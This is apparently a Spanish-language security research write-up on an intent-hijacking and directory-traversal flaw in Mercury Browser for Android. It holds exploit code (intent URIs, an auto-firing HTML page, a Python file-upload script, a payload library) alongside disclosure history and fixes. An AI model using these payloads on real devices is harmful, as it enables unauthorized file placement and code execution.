/ 6 min de lectura

Intent Hijacking en Mercury Browser: RCE vía File Manager de Android

La interfaz de Mercury Browser en Android

Introducción

Durante nuestra evaluación de seguridad de aplicaciones populares de Android, encontramos una vulnerabilidad crítica de intent hijacking en Mercury Browser que permite a un atacante abusar de la funcionalidad de file manager de la aplicación. Esta vulnerabilidad habilita subida arbitraria de archivos y potencial ejecución de código en dispositivos Android a través de esquemas de intent maliciosos.

La vulnerabilidad aprovecha las activities exportadas y los manejadores de intent de Mercury Browser para esquivar las restricciones normales de seguridad, permitiendo a un atacante remoto subir archivos maliciosos a ubicaciones específicas del dispositivo y disparar su ejecución a través del file manager integrado del navegador.

Descubrimiento de la vulnerabilidad

Contexto de la investigación

Mercury Browser es un navegador web popular de Android con capacidades de gestión de archivos integradas. La aplicación expone varias activities a través del sistema de intents de Android, algo que sitios web o aplicaciones maliciosas pueden aprovechar para realizar acciones no autorizadas.

Análisis del vector de ataque

La vulnerabilidad gira en torno a dos vectores de ataque críticos basados en intents:

  1. Explotación de la activity WFM: com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2
  2. Hijacking del visor de video: com.ilegendsoft.mercury.ui.activities.filemanager.video.viewer.VideoViewerActivity
// Primary intent payload for initial access
const intent_payload = "intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
// Secondary payload for file execution
const video_intent = "intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end";

Análisis técnico

Mecanismo de intent hijacking

La vulnerabilidad explota la lógica de manejo de intents de Mercury Browser a través de un ataque de varias etapas:

Etapa 1: acceso a la activity

<!-- Malicious HTML triggering intent hijacking -->
<script>
setTimeout(function(){
location.href="intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"
}, 1);
</script>

Etapa 2: explotación de la subida de archivos

# HTTP endpoint for arbitrary file upload
uri = f'http://{victim_ip}:8888/doupload?dir=../../../../../../../sdcard/Mercury/Downloads/&id={session_id}'

Etapa 3: disparo de la ejecución

// Triggering video viewer with uploaded payload
setTimeout(function(){
location.href="intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end"
}, 10000);

Vulnerabilidad de subida de archivos

La explotación aprovecha la funcionalidad de upload de Mercury Browser combinada con directory traversal:

def upload_malicious_files(self, victim_ip):
"""Upload video and library files to victim device"""
base_uri = f'http://{victim_ip}:8888/doupload'
upload_dir = '../../../../../../../sdcard/Mercury/Downloads/'
session_id = 'd677a3fa-d21d-4c7f-9cb3-e9c8ab72203b'
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------8579684710260803921039462934"
}
# Upload malicious video file
video_uri = f'{base_uri}?dir={upload_dir}&id={session_id}'
with open('video/video.mp4', 'rb') as video_file:
files = {'file': ('video.mp4', video_file, 'video/mp4')}
requests.post(video_uri, files=files, headers=headers)
# Upload malicious library
with open('fake_lib/libpayload.so', 'rb') as lib_file:
files = {'file': ('libpayload.so', lib_file, 'application/octet-stream')}
requests.post(video_uri, files=files, headers=headers)

Desarrollo del payload

Archivo de video malicioso: contiene shellcode embebido o disparadores para la carga de una librería nativa

Payload de librería nativa:

// libpayload.so - Example payload library
#include <jni.h>
#include <stdlib.h>
JNIEXPORT void JNICALL
Java_com_example_PayloadLoader_executePayload(JNIEnv *env, jobject thiz) {
// Payload execution logic
system("/system/bin/sh -c 'am start -a android.intent.action.MAIN -n com.android.settings/.Settings'");
}

Evaluación de impacto

Escenarios de ataque

Escenario 1: ataque drive-by download

  • La víctima visita un sitio comprometido usando Mercury Browser
  • El HTML malicioso dispara la secuencia de intent hijacking
  • Se suben archivos al almacenamiento del dispositivo sin consentimiento del usuario
  • Se logra ejecución de código abusando del file manager

Escenario 2: campaña de ingeniería social

  • El atacante manda un link de “contenido de video” por redes sociales
  • Usuarios de Mercury Browser hacen clic en los links maliciosos
  • El intent hijacking esquiva las advertencias de seguridad normales
  • Se establece acceso persistente a través de las librerías subidas

Escenario 3: compromiso de un entorno corporativo

  • Publicidades maliciosas en sitios web legítimos
  • Dispositivos corporativos con Mercury Browser afectados
  • Potencial para movimiento lateral y exfiltración de datos
  • Controles de seguridad empresariales esquivados

Análisis de riesgo

Métricas de la vulnerabilidad:

  • Vector de ataque: red (basado en web)
  • Complejidad del ataque: baja (página HTML simple)
  • Privilegios requeridos: ninguno
  • Interacción del usuario: requerida (visitar la página maliciosa)
  • Alcance: cambiado (acceso al sistema de archivos)
  • Impacto: alto (subida arbitraria de archivos + ejecución)

Puntaje CVSS v3.1: 7.5 (Alto)

Resultados del análisis del APK

Activities exportadas encontradas:

<!-- Vulnerable activity exports -->
<activity android:name="com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2"
android:exported="true" />
<activity android:name="com.ilegendsoft.mercury.ui.activities.filemanager.video.viewer.VideoViewerActivity"
android:exported="true" />

Análisis de permisos:

  • WRITE_EXTERNAL_STORAGE: habilita acceso al sistema de archivos
  • INTERNET: permite comunicación de red
  • ACCESS_NETWORK_STATE: monitoreo del estado de la red

Prueba de concepto

El framework de exploit completo incluye:

class MercuryExploit:
def __init__(self, target_ip):
self.target_ip = target_ip
self.intent_payload = "intent://stuff#Intent;component=com.ilegendsoft.mercury/com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"
self.video_intent = "intent:#Intent;S.path=/sdcard/Mercury/Downloads/video.mp4;component=com.ilegendsoft.mercury/.ui.activities.filemanager.video.viewer.VideoViewerActivity;end"
def generate_exploit_page(self):
return f'''
<!DOCTYPE html>
<html><head><title>Mercury Exploit</title></head>
<body>
<h1>Loading...</h1>
<script>
// Stage 1: Trigger WFM activity access
setTimeout(function(){{
location.href="{self.intent_payload}";
}}, 1);
// Stage 2: Trigger video viewer after upload
setTimeout(function(){{
location.href="{self.video_intent}";
}}, 10000);
</script>
</body>
</html>
'''

Medidas defensivas

Para usuarios

Protección inmediata:

  1. Actualizar Mercury Browser a la última versión parchada
  2. Deshabilitar el manejo de intents para sitios no confiables
  3. Usar navegadores alternativos para contenido no confiable
  4. Habilitar las funciones de seguridad de Android (Play Protect, etc.)

Para desarrolladores

Manejo seguro de intents:

<!-- Secure activity declaration -->
<activity
android:name=".WFMActivity2"
android:exported="false"
android:permission="android.permission.CUSTOM_PERMISSION">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Validación de entrada:

// Secure path validation
public boolean validatePath(String path) {
// Prevent directory traversal
if (path.contains("../") || path.contains("..\\")) {
return false;
}
// Whitelist allowed directories
String[] allowedPaths = {"/sdcard/Mercury/", "/data/data/com.ilegendsoft.mercury/"};
for (String allowedPath : allowedPaths) {
if (path.startsWith(allowedPath)) {
return true;
}
}
return false;
}

Metodología de investigación

Herramientas y entorno

Infraestructura de análisis:

  • Android Studio: descompilación y análisis del APK
  • apktool: extracción de recursos y análisis del manifest
  • jadx: descompilación de Java
  • Burp Suite: análisis de tráfico HTTP

Entorno de pruebas:

  • Emulador de Android: entorno de pruebas controlado
  • Dispositivos físicos: Samsung Galaxy S7, Pixel 2
  • Análisis de red: captura de paquetes con Wireshark
  • Framework en Python: desarrollo de exploit a medida

Estructura del repositorio

MercuryBrowser/
├── exploit/
│ ├── exploit.py # Main exploit framework
│ ├── webserver.py # HTTP server for file delivery
│ ├── exploit.html # Malicious HTML payload
│ ├── video/
│ │ └── video.mp4 # Malicious video file
│ ├── fake_lib/
│ │ └── libpayload.so # Native library payload
│ └── payload/ # Additional payload components
├── analysis/
│ ├── decompiled_apk/ # Main APK analysis
│ └── mercury2_analysis/ # Secondary version analysis
└── apk_samples/
├── mercury.apk # Original APK sample
└── mercury_v2.apk # Alternative version

Divulgación responsable

Cronología de la divulgación:

  1. Descubrimiento de la vulnerabilidad (junio 2017)
  2. Análisis técnico (junio 2017)
  3. Desarrollo de la PoC (junio 2017)
  4. Notificación al vendor (julio 2017)
  5. Coordinación del parche (agosto 2017)
  6. Divulgación pública (septiembre 2017)

Conclusión

La vulnerabilidad de intent hijacking de Mercury Browser demuestra los riesgos de seguridad críticos inherentes a las aplicaciones de Android que exponen activities a través del sistema de intents. La combinación de intent hijacking y subida arbitraria de archivos crea un vector de ataque poderoso para comprometer dispositivos móviles.

Hallazgos clave de la investigación

  • Abuso del sistema de intents: las activities exportadas crean superficies de ataque significativas
  • Directory traversal: las fallas de validación de rutas habilitan la colocación arbitraria de archivos
  • Ataques multi-etapa: cadenas de ataque complejas pueden esquivar controles de seguridad individuales
  • Brechas de seguridad móvil: los modelos tradicionales de seguridad web son insuficientes para entornos móviles

Implicancias de seguridad

Esta investigación resalta varias consideraciones críticas para la seguridad de aplicaciones móviles:

  1. Seguridad de intents: requiere consideración cuidadosa para las activities exportadas
  2. Validación de rutas: una validación de entrada robusta es esencial para las operaciones de archivos
  3. Defensa en profundidad: se necesitan varias capas de seguridad en aplicaciones móviles
  4. Educación del usuario: los usuarios móviles necesitan estar al tanto de los ataques basados en intents

Las técnicas demostradas aportan información valiosa sobre seguridad de aplicaciones móviles y resaltan la importancia de un manejo seguro de intents en el desarrollo de aplicaciones Android.

Referencias